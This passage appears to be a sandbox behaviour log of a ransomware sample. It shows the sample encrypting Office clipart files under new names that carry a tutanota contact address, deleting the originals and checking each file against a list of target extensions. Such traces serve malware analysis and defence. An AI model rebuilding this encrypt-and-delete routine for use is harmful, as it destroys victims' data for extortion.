lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.138] WriteFile (in: hFile=0x508, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.138] SetEndOfFile (hFile=0x508) returned 1 [0164.138] CloseHandle (hObject=0x508) returned 1 [0164.138] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.138] SetEndOfFile (hFile=0x4f0) returned 1 [0164.141] CloseHandle (hObject=0x4f0) returned 1 [0164.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.142] lstrlenW (lpString=".doc") returned 4 [0164.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.142] lstrlenW (lpString=".docx") returned 5 [0164.142] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.142] lstrlenW (lpString=".pdf") returned 4 [0164.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString=".xls") returned 4 [0164.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.143] lstrlenW (lpString=".xlsx") returned 5 [0164.143] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.143] lstrlenW (lpString=".ppt") returned 4 [0164.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString=".zip") returned 4 [0164.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.143] lstrlenW (lpString=".rar") returned 4 [0164.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString=".bz2") returned 4 [0164.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString=".7z") returned 3 [0164.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString=".dbf") returned 4 [0164.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString=".1cd") returned 4 [0164.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString=".jpg") returned 4 [0164.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.143] lstrlenW (lpString=".doc") returned 4 [0164.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString=".docx") returned 5 [0164.143] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0164.143] lstrlenW (lpString=".pdf") returned 4 [0164.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.143] lstrlenW (lpString=".xls") returned 4 [0164.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.143] lstrlenW (lpString=".xlsx") returned 5 [0164.143] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0164.144] lstrlenW (lpString=".ppt") returned 4 [0164.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.144] lstrlenW (lpString=".zip") returned 4 [0164.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.144] lstrlenW (lpString=".rar") returned 4 [0164.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.144] lstrlenW (lpString=".bz2") returned 4 [0164.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.144] lstrlenW (lpString=".7z") returned 3 [0164.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.144] lstrlenW (lpString=".dbf") returned 4 [0164.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.144] lstrlenW (lpString=".1cd") returned 4 [0164.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0164.144] lstrlenW (lpString=".jpg") returned 4 [0164.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.144] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.144] lstrlenW (lpString="J0090087.WMF") returned 12 [0164.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0164.146] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=46936) returned 1 [0164.146] CloseHandle (hObject=0x4f0) returned 1 [0164.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0164.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0164.147] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.147] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0164.148] GetLastError () returned 0x0 [0164.148] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xb758, lpOverlapped=0x0) returned 1 [0164.152] WriteFile (in: hFile=0x508, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb760, lpOverlapped=0x0) returned 1 [0164.154] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.154] WriteFile (in: hFile=0x508, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.154] SetEndOfFile (hFile=0x508) returned 1 [0164.155] CloseHandle (hObject=0x508) returned 1 [0164.155] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.155] SetEndOfFile (hFile=0x4f0) returned 1 [0165.013] CloseHandle (hObject=0x4f0) returned 1 [0165.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0165.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.036] lstrlenW (lpString=".doc") returned 4 [0165.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.036] lstrlenW (lpString=".docx") returned 5 [0165.037] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0165.037] lstrlenW (lpString=".pdf") returned 4 [0165.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.041] lstrlenW (lpString=".xls") returned 4 [0165.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.041] lstrlenW (lpString=".xlsx") returned 5 [0165.041] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0165.041] lstrlenW (lpString=".ppt") returned 4 [0165.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.041] lstrlenW (lpString=".zip") returned 4 [0165.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.042] lstrlenW (lpString=".rar") returned 4 [0165.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString=".bz2") returned 4 [0165.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString=".7z") returned 3 [0165.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.042] lstrlenW (lpString=".dbf") returned 4 [0165.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.042] lstrlenW (lpString=".1cd") returned 4 [0165.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.042] lstrlenW (lpString=".jpg") returned 4 [0165.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.042] lstrlenW (lpString=".doc") returned 4 [0165.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString=".docx") returned 5 [0165.042] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0165.042] lstrlenW (lpString=".pdf") returned 4 [0165.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.042] lstrlenW (lpString=".xls") returned 4 [0165.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.043] lstrlenW (lpString=".xlsx") returned 5 [0165.043] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0165.043] lstrlenW (lpString=".ppt") returned 4 [0165.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.043] lstrlenW (lpString=".zip") returned 4 [0165.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.043] lstrlenW (lpString=".rar") returned 4 [0165.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.043] lstrlenW (lpString=".bz2") returned 4 [0165.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.043] lstrlenW (lpString=".7z") returned 3 [0165.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.043] lstrlenW (lpString=".dbf") returned 4 [0165.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.043] lstrlenW (lpString=".1cd") returned 4 [0165.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0165.043] lstrlenW (lpString=".jpg") returned 4 [0165.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.043] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.043] lstrlenW (lpString="J0099147.JPG") returned 12 [0165.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.044] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=24377) returned 1 [0165.044] CloseHandle (hObject=0x544) returned 1 [0165.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0165.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.045] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.045] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.046] GetLastError () returned 0x0 [0165.046] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x5f39, lpOverlapped=0x0) returned 1 [0165.049] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5f40, lpOverlapped=0x0) returned 1 [0165.050] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.050] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.050] SetEndOfFile (hFile=0x4f0) returned 1 [0165.050] CloseHandle (hObject=0x4f0) returned 1 [0165.050] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.050] SetEndOfFile (hFile=0x544) returned 1 [0165.053] CloseHandle (hObject=0x544) returned 1 [0165.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString=".doc") returned 4 [0165.055] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.055] lstrlenW (lpString=".docx") returned 5 [0165.055] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0165.055] lstrlenW (lpString=".pdf") returned 4 [0165.055] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.055] lstrlenW (lpString=".xls") returned 4 [0165.055] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.055] lstrlenW (lpString=".xlsx") returned 5 [0165.055] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0165.055] lstrlenW (lpString=".ppt") returned 4 [0165.055] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString=".zip") returned 4 [0165.055] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.055] lstrlenW (lpString=".rar") returned 4 [0165.055] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.055] lstrlenW (lpString=".bz2") returned 4 [0165.055] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.055] lstrlenW (lpString=".7z") returned 3 [0165.055] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString=".dbf") returned 4 [0165.055] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString=".1cd") returned 4 [0165.055] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString=".jpg") returned 4 [0165.055] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.056] lstrlenW (lpString=".doc") returned 4 [0165.056] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.056] lstrlenW (lpString=".docx") returned 5 [0165.056] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0165.056] lstrlenW (lpString=".pdf") returned 4 [0165.056] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.056] lstrlenW (lpString=".xls") returned 4 [0165.056] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.056] lstrlenW (lpString=".xlsx") returned 5 [0165.056] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0165.056] lstrlenW (lpString=".ppt") returned 4 [0165.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.056] lstrlenW (lpString=".zip") returned 4 [0165.056] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.056] lstrlenW (lpString=".rar") returned 4 [0165.056] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.056] lstrlenW (lpString=".bz2") returned 4 [0165.056] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.056] lstrlenW (lpString=".7z") returned 3 [0165.056] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.056] lstrlenW (lpString=".dbf") returned 4 [0165.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.056] lstrlenW (lpString=".1cd") returned 4 [0165.056] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0165.056] lstrlenW (lpString=".jpg") returned 4 [0165.056] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.056] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.056] lstrlenW (lpString="J0099148.JPG") returned 12 [0165.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.057] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18258) returned 1 [0165.057] CloseHandle (hObject=0x544) returned 1 [0165.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0165.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0165.058] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.058] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0165.059] GetLastError () returned 0x0 [0165.059] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x4752, lpOverlapped=0x0) returned 1 [0165.061] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0165.062] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.062] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0165.063] SetEndOfFile (hFile=0x4f0) returned 1 [0165.063] CloseHandle 